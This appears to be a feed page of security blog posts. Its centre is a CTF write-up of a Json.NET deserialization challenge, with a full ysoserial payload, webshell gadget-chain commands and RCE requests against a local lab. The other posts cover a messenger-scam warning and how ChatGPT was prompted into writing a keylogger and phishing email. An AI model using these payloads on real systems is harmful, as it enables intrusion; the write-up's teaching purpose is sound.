Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

HITCON 2023 x DEVCORE Wargame: My todolist Write-up

17 September 2023 at 16:00

為了 HITCON 2023 活動,我今年也在 DEVCORE 攤位上準備了三題趣味性質的 Wargame 題目讓參賽者在聽完議程的空閒之餘可以享受一下親自動手解題的快樂,而除了我所準備的題目以外,包括其他所有題目都可以在以下的 GitHub repository 裡找到:https://github.com/DEVCORE-Wargame/HITCON-2023

這次準備的題目分別是 What’s my IP、Submit flag 和 My todolist。第一個題目 What’s my IP 只要看程式碼就會知道是個 HTTP header 偽造 IP 加上 SQL Injectin 利用的簡單題,只是活動期間參賽者們得憑著經驗與駭客直覺以黑箱方式找出弱點的存在。第二個題目 Submit flag 就是一個經典的 Race Condition,是一個老梗但也是滲透測試中經常被忽略的細節,為了提高成功率從而避免讓參加者浪費太多時間,我特地在中間插入不必要的 sleep,雖然可能讓題目變得過於簡單,希望至少能提醒大家回想起還存在這種弱點就太好了。

最後一個題目也是本篇文章想要和大家分享的主題:My todolist。從結論而言,這是一個簡單的 Json.NET 反序列化漏洞的白箱題目,存在漏洞的位置是在程式碼 Extensions/WebExtension.cs 的第 20 行,但我想稍微和大家分享題目的由來。

題目起源於我曾經在某些程式中看過類似以下的 Deep Copy 實作:

public static T Clone<T>(this T source) {
    JsonSerializerSettings settings = new JsonSerializerSettings() {
        TypeNameHandling = TypeNameHandling.All
    };
    return (T) JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);
}

我們都知道當 DeserializeObject 的來源字串可以控制並且開啟 TypeNameHandling 時,我們可以輕易利用反序列化能初始化任意物件的特性執行任意程式碼或系統指令,然而在 Deep Clone 的使用情境下,來源字串是 SerializeObject 的輸出結果,這代表著任何標記物件名稱的 $type 屬性也是由 Json.NET 所控制而非由我們控制,所以這表示這段程式碼應該是無法被利用的才對,除非,若我們可以覆蓋 $type 屬性的話呢?

這個疑問勾起了我的好奇心,因此讓我決定進行一些嘗試,當我嘗試用以下程式碼序列化一個 Dictionary 物件時,我得到了一個有趣的結果。

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("key", "value");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All
};
string result = JsonConvert.SerializeObject(source, settings);

結果:

{
    "$type": "System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib",
    "key": "value"
}

當我們序列化 Dictionary 時,我們所插入的任何 key 和 value 的 pair 都和 $type 屬性值在同一個層級,那假設我們 Dictionary 內含有值為 $type 的 key 時,會發生什麼事情?

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("$type", "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);

會得到一個例外錯誤:

Newtonsoft.Json.JsonSerializationException: ‘Type specified in JSON ‘System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a’ is not compatible with ‘System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’. Path ‘$type’, line 1, position 236.’

若建立 debug 斷點將 JsonConvert.SerializeObject 的結果字串印出來會得到:

{
    "$type": "System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib",
    "$type": "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
}

其實從這段錯誤訊息就可以猜測出大致出錯的可能性,如果再稍微追入程式碼就會發現,我們設定的第二個 $type 確實成功讓 Json.NET 嘗試去覆蓋第一個 $type 指定的物件類型,但 Json.NET 在這段的處理會檢查第二個物件類型是否能夠相容於第一個物件類型,也就是檢查是否 assignable,若我們能找到某個類 Dictionary 物件可以成為 gadget 的話,這段程式碼也許將成為 exploitable。

但要挖掘新的 gadget 十分困難,而且就算找到了,要作為 Wargame 題目也可能過於刁難,所以我這邊找到了一種變種情境,雖然是不常見的設定,但我覺得作為一道題目情境的話會非常有趣。

這個題目情境的關鍵是 MetadataPropertyHandling.ReadAhead 這個設定值,當提供給 JsonConvert.DeserializeObject 的 JsonSerializerSettings 中有包含 MetadataPropertyHandling.ReadAhead 時,它會假設 $type 不是在第一個屬性值的位置,這會導致 Json.NET 先嘗試從頭到尾把 JSON 解析完並找出 $type 後才開始建立物件,在此情境下也會讓我們注入的第二個 $type 直接覆蓋第一個 $type 的值,所以假如程式碼改寫為如下的程式碼時,這個 Clone function 將會變得 exploitable。

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("you control the key", "you control the value");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All,
    MetadataPropertyHandling = MetadataPropertyHandling.ReadAhead
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);

我們可以來實際利用一個 gadget 進行 code execution 測試,這邊我使用 ysoserial.net 產生 RolePrincipal gadget 的 payload ( ysoserial.exe -g RolePrincipal -f Json.Net -c calc ),因為這個 gadget 只需要控制 JSON 一層的字串就可以執行指令,題目情境相對容易建構。

測試執行:

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("$type", "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
source.Add("System.Security.ClaimsPrincipal.Identities", "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All,
    MetadataPropertyHandling = MetadataPropertyHandling.ReadAhead
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);

嘗試執行以上程式碼後,成功彈出計算機!

既然驗證此設定是可以 exploit 的,剩下就是包裝一個應用程式的情境,而最終趕出的成品就是 My todolist 這道題目。

理論上直接使用 RolePrincipal 就能執行系統指令了,只是這個 exploit 執行後不會有任何指令回顯,而我們還需要嘗試找到並讀取 flag,為了後續更便利操作,我們可以嘗試將漏洞轉換成 web shell,詳細可以參考我的另一篇文章「玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門!」,但這個方法的 gadget 是需要使用 BinaryFormatter 執行 OnDeserialization callback 進而觸發 gadget chain 的執行,但如果你有 clone 最新版本的 ysoserial.net 來自行編譯的話,會發現 help 訊息中多了一個新的參數 –bgc。

--bgc, --bridgedgadgetchains=VALUE
    Chain of bridged gadgets separated by comma (,). 
      Each gadget will be used to complete the next 
      bridge gadget. The last one will be used in the 
      requested gadget. This will be ignored when 
      using the searchformatter argument.

沒錯,為這個專案貢獻的研究者們成功找到 gadget chain 實現將 Json.NET 等需要 setter 類型的 gadget 的 formatter 轉換成 BinaryFormatter 的二次反序列化,從而可以執行更多的 gadget,其中當然就包括 ActivitySurrogateDisableTypeCheck 和 ActivitySurrogateSelectorFromFile 這兩個最重要的 gadget,我們也因此可以再次使用這個功能實現反序列化攻擊到 fileless webshell 的 exploit! 產生 payload 的指令:

ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateDisableTypeCheck -c 1

ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateSelectorFromFile -c ".\ExploitClass.cs;dlls\System.dll;dlls\System.Web.dll"

最後題目只要在正常註冊後隨便新增一個 note 進行修改,再分別對兩個 payload 執行一次類似下面的請求,就可以達成有回顯的 RCE 了!

Request 1:

POST /Api/UpdateTodo HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
Cookie: <session>

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&field=$type&value=System.Web.Security.RolePrincipal,+System.Web,+Version%3d4.0.0.0,+Culture%3dneutral,+PublicKeyToken%3db03f5f7f11d50a3a

Request 2:

POST /Api/UpdateTodo HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
Cookie: <session>

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&field=System.Security.ClaimsPrincipal.Identities&value=<payload>

Request 3:

POST /Api/MyProfile HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Cookie: <session>

cmd=whoami

The secret of 961c151d2e87f2686a955a9be24d316f1362bf21

By: adam
3 September 2023 at 18:00
I recently came across a malware sample that included the following, mysterious string: There are a few versions of this strings out there (extracted from a few malware samples downloaded in 2023): 961c151d2e87f2686a955a9be24d316f1362bf21 2.1.1 961c151d2e87f2686a955a9be24d316f1362bf21 3.5.0 961c151d2e87f2686a955a9be24d316f1362bf21 3.6.1 961c151d2e87f2686a955a9be24d316f1362bf21 3.9.1 … Continue reading

視人才培育為己任 DEVCORE 全國資訊安全獎學金、資安教育活動贊助計畫即日起開放報名

29 August 2023 at 16:00

DEVCORE 今(30)日甫於輔仁大學舉辦「戴夫寇爾資訊安全獎學金」2023 年度頒獎典禮,共有 3 位資工系同學獲獎。同一時間,我們很高興地宣佈,今年度我們也將續辦「全國資訊安全獎學金」及「資安教育活動贊助計畫」,即日起開放報名!

近年來,無論是政府或企業,在數位浪潮及雲世代的推波助瀾下,無不開始正視資安人才荒的困境。自 2012 年創立之初,DEVCORE 即秉持著提升台灣資安競爭力、讓世界更安全的初衷,將人才培育視為己任,透過參與教育部資安人才培育計畫、創辦 DEVCORE 實習生計畫、啟動戴夫寇爾資安獎學金、辦理資安教育活動贊助計畫等方式,協助資安人才茁壯成長。

DEVCORE 全國資訊安全獎學金

戴夫寇爾資安獎學金於 2020 年首次頒發,原為感念過去在學生時代時受到的各方資源及鼓勵,獎學金頒發範圍為經營團隊母校的輔仁大學及國立臺灣科技大學,後為培育更多有志於此的青年學子,我們於去年擴大獎學金範圍,開放全國各地的資安新銳報名申請,期待能推廣「駭客思維」、強化資安技能,並幫助在學學生了解資安產業生態及現況、降低學用落差,未來成為新一代的攻擊型資安人才,為資安產業注入新活力。

「戴夫寇爾全國資訊安全獎學金」歡迎所有在資訊安全領域有出眾研究成果的學生報名申請,有意申請者須提出學習資安的動機與歷程,並繳交資安研究或比賽成果,我們將從中擇優選取 10 名,獲選者可獲最高 2 萬元的研究補助。詳細申請辦法如下:

  • 申請資格:全國各大專院校學生皆可以申請。
  • 獎學金金額/名額:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍我們將視申請狀況增加名額。
  • 申請時程:
    • 2023/8/30 官網公告獎學金計畫資訊
    • 2023/8/31 - 2023/9/30 開放收件
    • 2023/10/31 公布審查結果,並將於 11 至 12 月間頒發獎學金
  • 申請辦法:
    • 請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ [email protected]
    • 信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。
    • 請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。
  • 須檢附文件:
    • 本獎學⾦申請表
    • 在學證明
    • 最近⼀學期成績單
    • 學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 2000 字
    • 資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿結果、漏洞獎勵計畫成果、弱點研究成果、資訊安全比賽成果、資安工具研究成果、技術文章發表成果等
    • 社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等
    • 推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函

DEVCORE 資安教育活動贊助計劃

取之於社會,用之於社會。DEVCORE 創立至今已準備邁入第 11 年,我們期待能以不同的方式加深校園與產業的連結,推廣正確的資安意識及駭客思維,協助台灣資安人才成長茁壯。

今年我們也將持續贊助資安教育活動,提供經費予資安相關之社群、社團辦理各項活動,凝聚台灣資安社群,加速培育台灣的資安新銳。

  • 申請資格:與資安議題相關之社群、社團活動,請由 1 位社團代表人填寫資料。
  • 贊助金額:依各社團活動需求及與戴夫寇爾討論而定,每次最高補助金額為新台幣 20,000 元整。
  • 申請時程:如欲申請此計畫的社團或活動,請於 2023/10/31 前透過以下連結填寫初步資料,我們會在 30 日內通知符合申請資格者提供進一步資料,不符合資格者將不另行通知。
  • 申請連結:DEVCORE 2023 年資安教育活動贊助調查
  • 須提供資料:
    • 申請資格:申請人需以各資安社群或社團名義提出申請。
    • 聯絡電子郵件
    • 想要辦理的活動類型
    • 想要辦理的活動方式
    • 活動總預算
    • 預計需要贊助金額
    • 代表人姓名、連絡電話
    • 團體名稱
    • 團體單位網址
  • 注意事項:
    • 申請案審核將經過戴夫寇爾內部審核機制,並保有最終核決權。
    • 本問卷僅供初步意願蒐集用途,符合申請資格者,戴夫寇爾將於 30 日內通知提供進一步資料供審核,其餘將不另行通知。

SMS-Abzocke: Wie Sie sich vor den häufigsten Messenger-Betrugsfallen schützen können

19 July 2023 at 17:21

Haben Sie jemals eine verdächtige Nachricht auf Ihrem Handy erhalten? Sie sind nicht allein. Betrug über Messenger-Dienste ist eine wachsende Bedrohung in unserer digitalen Welt. Mit zunehmender Beliebtheit dieser Plattformen steigt auch die Anzahl der Betrüger, die sie als Mittel zur Abzocke unschuldiger Nutzer nutzen. Florian Hansemann, Gründer von HanseSecure und renommierter Experte für Cybersicherheit, erklärt in einer Reportage des Kabel 1 – K1 Magazins, wie diese Betrügereien funktionieren und wie wir uns dagegen schützen können.

Florian Hansemann – IT-Experte aus München

Wie Messenger-Betrug zunimmt

Messenger-Dienste wie WhatsApp, Telegram und Signal sind fester Bestandteil unseres täglichen Lebens. Sie ermöglichen uns eine schnelle und einfache Kommunikation mit Freunden, Familie und Kollegen. Doch diese Bequemlichkeit hat auch eine Kehrseite. Immer mehr Betrüger nutzen diese Plattformen, um unschuldige Nutzer in die Falle zu locken und sie zu betrügen.

Florian Hansemann, auch als professioneller White-Hat-Hacker bekannt, warnte vor den Gefahren, die mit dem Klicken auf unbekannte Links in Kurznachrichten verbunden sind. „Du klickst auf irgendwas drauf und schon landest du auf einer Seite, auf der du nicht landen willst“, warnte er im Fernsehen. Diese scheinbar harmlosen Aktionen können dazu führen, dass Betrüger Zugang zu persönlichen Informationen erhalten, die sie dann für kriminelle Zwecke nutzen können.

Die Polizei in Berlin hat in den letzten zwei Jahren einen dramatischen Anstieg der Anzeigen im Zusammenhang mit Messenger-Betrug verzeichnet. Während es vor zwei Jahren im ganzen Jahr nur 64 Anzeigen gab, sind es heute 500 Anzeigen pro Monat. Dies unterstreicht die Dringlichkeit des Problems und die Notwendigkeit, sich über die Risiken im Klaren zu sein und geeignete Schutzmaßnahmen zu ergreifen.

Die drei häufigsten Betrugsmaschen und wie man sich dagegen schützt

Betrüger sind ständig auf der Suche nach neuen und kreativen Wegen, um ihre Opfer zu täuschen. Im Folgenden werden wir die drei häufigsten Betrugsmaschen, die über Messenger-Dienste verbreitet werden, genauer betrachten und Ratschläge von Experten zur Vermeidung dieser Betrügereien vorstellen.

Masche 1: Der Elterntrick

Vorsicht bei solchen Nachrichten – Beispiel für einen Elterntrick

Die erste und beliebteste Betrugsmasche ist der sogenannte „Elterntrick“. Dabei erhalten Eltern eine Nachricht, die angeblich von ihrem Kind stammt, das behauptet, eine neue Telefonnummer zu haben. Die Nachricht fordert die Eltern auf, eine dringende Zahlung vorzunehmen, da das Kind angeblich nicht auf sein Bankkonto zugreifen kann.

Peter Giesel, ein Experte für Abzocke bei Kabel Eins, rät: „Mein wichtigster Tipp: Nochmal auf der alten Nummer zurückrufen, wenn die wirklich abgestellt ist und nicht erreichbar, ja dann könnte das eventuell vielleicht stimmen. Aber sich auf jeden Fall vergewissern, einen Gegencheck machen.“

Tipps zur Vermeidung des Elterntricks:

  • Seien Sie skeptisch, wenn Sie eine Nachricht von einer unbekannten Nummer erhalten, die behauptet, Ihr Kind zu sein.
  • Kontaktieren Sie Ihr Kind über die alte Nummer oder einen anderen vertrauenswürdigen Kommunikationskanal, um die Echtheit der Nachricht zu bestätigen.
  • Lassen Sie sich nicht unter Druck setzen, um sofortige Zahlungen zu leisten. Betrüger nutzen oft Dringlichkeit, um ihre Opfer zu täuschen.

Masche 2: Die Kunden-SMS

Eine gefälschte Nachricht per SMS

Die zweite Betrugsmasche beinhaltet eine scheinbar harmlose Kunden-SMS. Diese Nachrichten geben vor, von einem vertrauenswürdigen Unternehmen zu stammen und fordern den Empfänger auf, einen Link zu klicken, um seine Daten zu aktualisieren. Doch hinter diesem Link verbirgt sich oft eine Schadsoftware.

Florian Hansemann warnt: „Im schlimmsten Fall landen wir auf einer Webseite, wo wir direkt einen Virus herunterladen und das Handy ist danach gehackt. Das heißt der Angreifer hat Zugriff auf deine Chats, auf die Bankdaten, auf alles, was du eingibst und kann dann im schlimmsten Fall sogar noch das Mikrofon aktivieren.“

Tipps zur Vermeidung der Kunden-SMS-Betrugsmasche:

  • Klicken Sie nicht auf Links in SMS-Nachrichten, insbesondere wenn sie von unbekannten Nummern stammen.
  • Überprüfen Sie die Echtheit der Nachricht, indem Sie das betreffende Unternehmen direkt über einen vertrauenswürdigen Kontaktweg kontaktieren.
  • Installieren Sie eine vertrauenswürdige Sicherheits-App auf Ihrem Smartphone, die vor Schadsoftware schützen kann.
Statement von DHL zur Kunden-SMS-Betrugsmasche

Masche 3: Der Spendenbetrug

Die dritte Betrugsmasche ist besonders heimtückisch, da sie die Hilfsbereitschaft der Menschen ausnutzt. Nach Naturkatastrophen oder anderen großen Ereignissen werden oft Spendenaktionen organisiert. Betrüger nutzen diese Gelegenheit, um gefälschte Spendenaufrufe zu versenden und so an das Geld gutgläubiger Spender zu kommen.

„Es ist leider auch immer zu dieser Zeit, dass Betrüger überall aus den Löchern poppen und da irgendwie mitmischen wollen“, warnt Peter Giesel. Florian Hansemann fügt hinzu: „Wenn wir jetzt auf den ‚Spenden‘ Button klicken, dann landen wir auf dieser Crypto-Seite. Das heißt wir müssen an eine Crypto-Wallet überweisen und das ist ziemlich anonym. Heißt am Ende ist das Geld einfach weg.“

Tipps zur Vermeidung des Spendenbetrugs:

  • Seien Sie vorsichtig bei Spendenaufrufen, die über Messenger-Dienste oder SMS verschickt werden.
  • Überprüfen Sie die Echtheit der Spendenorganisation, bevor Sie eine Zahlung leisten.
  • Vermeiden Sie Zahlungen an unbekannte Crypto-Wallets oder andere anonyme Zahlungsmethoden.
  • Wenn Sie spenden möchten, tun Sie dies direkt über die offizielle Website der Wohltätigkeitsorganisation oder eines vertrauenswürdigen Spendenportals.

Wie Betrüger an unsere Telefonnummern kommen und wie wir uns schützen können

Jedes Mal, wenn wir uns für einen Online-Dienst anmelden, einen Kommentar in einem Forum hinterlassen oder eine Kleinanzeige aufgeben, hinterlassen wir Informationen, die von Betrügern genutzt werden können. Eine dieser Informationen ist unsere Telefonnummer, die oft für Betrugsmaschen über Messenger-Dienste verwendet wird.

Hansemann erklärt, dass Betrüger oft Telefonnummern aus Online-Kleinanzeigen entnehmen. „Jeder Online-Nutzer hinterlässt einen digitalen Fußabdruck“, sagt er. „Betrüger können diese Informationen nutzen, um ihre Betrugsmaschen durchzuführen.“

Aber wie können wir uns vor solchen Bedrohungen schützen? Hier sind einige Ratschläge von Florian Hansemann, Dr. Marc Maisch und den Experten bei HanseSecure in München:

  • Seien Sie vorsichtig mit Ihren persönlichen Informationen: Geben Sie Ihre Telefonnummer nur dann preis, wenn es unbedingt notwendig ist. Überlegen Sie zweimal, bevor Sie Ihre Nummer in Online-Formularen oder auf Social-Media-Plattformen angeben.
  • Nutzen Sie Datenschutzeinstellungen: Viele Online-Dienste und Social-Media-Plattformen bieten Datenschutzeinstellungen, mit denen Sie steuern können, wer Ihre persönlichen Informationen sehen kann. Stellen Sie sicher, dass Ihre Telefonnummer nur für vertrauenswürdige Kontakte sichtbar ist.
  • Seien Sie skeptisch gegenüber unbekannten Anrufern oder Nachrichten: Wenn Sie einen Anruf oder eine Nachricht von einer unbekannten Nummer erhalten, seien Sie vorsichtig. Geben Sie keine persönlichen Informationen preis und klicken Sie nicht auf unbekannte Links.
  • Halten Sie Ihre Geräte und Anwendungen auf dem neuesten Stand: Viele Betrüger nutzen Sicherheitslücken in veralteter Software, um Zugang zu Ihren Geräten zu erhalten. Stellen Sie sicher, dass Ihre Geräte und Anwendungen immer auf dem neuesten Stand sind.
  • Nutzen Sie Sicherheitssoftware: Installieren Sie eine vertrauenswürdige Sicherheitssoftware auf Ihren Geräten. Diese kann vor Schadsoftware schützen und Sie warnen, wenn Sie auf eine gefährliche Website zugreifen.

Die Rolle der Bezahldienstleister und die Notwendigkeit von Schutzmechanismen

Stellungnahme der Bundesnetzagentur

Die Leichtigkeit, mit der heute eine Spendenkampagne erstellt werden kann, birgt Risiken. Mit Werkzeugen zum Klonen von offiziellen Webseiten können Betrüger innerhalb einer halben Stunde eine überzeugende „Spendenkampagne“ ins Leben rufen, die auf den ersten Blick wie eine legitime Initiative von Organisationen wie PETA oder WWF aussieht. In solchen Fällen ist es unerlässlich, dass Bezahldienstleister aktiv werden und Maßnahmen ergreifen.

Bezahldienstleister wie PayPal spielen eine entscheidende Rolle im digitalen Zahlungsverkehr. Sie ermöglichen schnelle und bequeme Transaktionen, können aber auch für betrügerische Zwecke missbraucht werden. Hansemann weist darauf hin, dass Betrüger oft bekannte Bezahldienstleister nutzen, um vertrauenserweckend zu wirken.

Es besteht ein dringender Bedarf an stärkeren Schutzmechanismen und gesetzlichen Regelungen, um die Verbraucher vor solchen Betrugsmaschen zu schützen. Bezahldienstleister sollten mehr Verantwortung übernehmen und wirksame Maßnahmen ergreifen, um betrügerische Aktivitäten zu erkennen und zu verhindern.

Ein einfacher Identitätscheck beim Erstellen einer Spendenkampagne könnte schön einen Großteil der Betrüger abhalten. Darüber hinaus sollten die Gesetzgeber strengere Vorschriften für den digitalen Zahlungsverkehr erlassen und sicherstellen, dass die Verbraucher im Falle eines Betrugs angemessen geschützt sind.

Stellungnahme von PayPal

Fazit

Betrug über Messenger-Dienste ist eine wachsende Bedrohung, die ernst genommen werden muss. Es ist wichtig, sich über die verschiedenen Betrugsmaschen zu informieren und vorsichtig zu sein, wenn man Nachrichten von unbekannten Nummern erhält oder aufgefordert wird, Zahlungen zu leisten.

Florian Hansemann und sein Team bei HanseSecure bieten wertvolle Ratschläge, wie man sich vor solchen Betrugsmaschen schützen kann. Dazu gehören das Hinterfragen von Nachrichten, die von unbekannten Nummern stammen, das Überprüfen der Echtheit von Spendenorganisationen und das Aktualisieren von Geräten und Anwendungen, um vor Schadsoftware geschützt zu sein.

Die Aufklärung und Sensibilisierung für diese Art von Betrug sind von entscheidender Bedeutung. Es ist wichtig, dass wir alle unseren Teil dazu beitragen, indem wir uns informieren, vorsichtig handeln und andere über die Risiken aufklären.

Sie können den vollständigen Beitrag von Kabel 1 zur Abzocke per SMS hier anschauen.

Experte für Cybersicherheit – Florian Hansemann

Der Beitrag SMS-Abzocke: Wie Sie sich vor den häufigsten Messenger-Betrugsfallen schützen können erschien zuerst auf HanseSecure GmbH.

Die dunkle Seite der KI – Wie ChatGPT zum Werkzeug für Cyberkriminalität wird

19 July 2023 at 11:21
OpenAI - Die Firma hinter ChatGPT

Lizenzfreies Bild von Pexels: https://www.pexels.com/de-de/foto/schreibtisch-laptop-technologie-homeoffice-16037283/

In der Cyber-Sicherheitslandschaft sind die Bedrohungen so vielfältig wie die Technologien, die sie hervorbringen. Künstliche Intelligenz (KI), eine Technologie mit dem Potenzial, viele Aspekte unseres Lebens zu revolutionieren, ist dabei keine Ausnahme. Ein kürzlich ausgestrahlter TV-Beitrag auf ARD PLUSMINUS hat auf erschreckende Weise gezeigt, wie KI im Kontext von Cyberkriminalität missbraucht werden kann, insbesondere durch das sogenannte ChatGPT-Hacking, bei dem Schadcode geschrieben und verbreitet wird.

In diesem Beitrag hat Florian Hansemann, Gründer von HanseSecure und renommierter Cyber-Security-Experte, die KI ChatGPT dazu aufgefordert, einen Schadcode zu schreiben. Das Ergebnis war ein funktionsfähiger Keylogger, der in der Lage ist, die Tastatureingaben eines Nutzers auszuspähen. Dieses Experiment unterstreicht die dringende Notwendigkeit, die Entwicklung und Anwendung von KI zu regulieren und gleichzeitig die Bedeutung von Cyber-Sicherheitsexperten wie Hansemann hervorzuheben, die uns vor solchen Bedrohungen schützen können.

Florian Hansemann - Cyber-Sicherheitsexperte HanseSecure GmbH

Die Macht der KI und die potenziellen Risiken

Künstliche Intelligenz hat sich in den letzten Jahren rasant entwickelt und ist mittlerweile in der Lage, komplexe Aufgaben zu erfüllen, die früher nur von Menschen ausgeführt werden konnten. Diese Fortschritte haben jedoch auch neue Risiken und Herausforderungen mit sich gebracht, insbesondere im Bereich der Cyber-Sicherheit.

Ein kürzlich ausgestrahlter TV-Beitrag auf ARD PLUSMINUS hat diese Risiken auf erschreckende Weise verdeutlicht. In diesem Beitrag hat Florian Hansemann, ein renommierter Cyber-Security-Experte und Gründer von HanseSecure, die KI ChatGPT dazu gebracht, einen Schadcode zu schreiben. Dieser Code, ein sogenannter Keylogger, ist in der Lage, die Tastatureingaben eines Nutzers auszuspähen und somit sensible Informationen zu stehlen, einschließlich Zugangsdaten für das Online-Banking. Dies ist ein klares Beispiel für das Potenzial von ChatGPT-Hacking.

Ein funktionierendes Python-Skript, erstellt von ChatGPT

Das Experiment – KI im Dienst von Cyber-Gangstern

Das Experiment startete mit einer einfachen Anforderung an ChatGPT: Die Erstellung eines Schadcodes. Überraschend schnell reagierte die KI und generierte einen vollständigen und funktionsfähigen Code. Dieser Code wurde anschließend von Florian Hansemann in eine ansonsten harmlose Datei eingebettet. Im nächsten Schritt des Experiments bat Hansemann ChatGPT, eine Phishing-E-Mail zu erstellen. Die KI generierte daraufhin eine E-Mail, die auf den ersten Blick wie eine harmlose Steuererinnerung aussah. Doch in Wahrheit verbarg sich hinter einem in der E-Mail enthaltenen Link die Datei mit dem eingebetteten Schadcode. Sobald ein ahnungsloses Opfer auf diesen Link klickte, wurde der Schadcode heruntergeladen und der Computer des Opfers infiziert. Dieser Ablauf verdeutlicht auf erschreckende Weise, wie mühelos Kriminelle KI-Technologien wie ChatGPT einsetzen können, um ihre illegalen Aktivitäten auszubauen und zu verschleiern.

Die Ergebnisse und ihre Implikationen

Um die Funktionalität des erstellten Schadcodes zu demonstrieren, öffnete Hansemann die Phishing-E-Mail auf einem anderen Computer. Ab diesem Zeitpunkt wurde alles aufgezeichnet, was auf der Tastatur eingegeben wurde. Als Hansemann „ChatGPT-Hacking“ eintippte, tauchte diese Eingabe auf dem infizierten Computer auf – ein klarer Beweis dafür, dass der von ChatGPT erstellte Schadcode funktionierte. Dieses Experiment zeigt nicht nur die beeindruckende Fähigkeit von KI-Systemen wie ChatGPT, sondern auch die potenziellen Risiken, die damit verbunden sind. Es unterstreicht die Notwendigkeit, KI-Systeme zu regulieren und die Bedeutung von Cyber-Sicherheitsexperten wie Florian Hansemann, die uns vor solchen Bedrohungen schützen können.

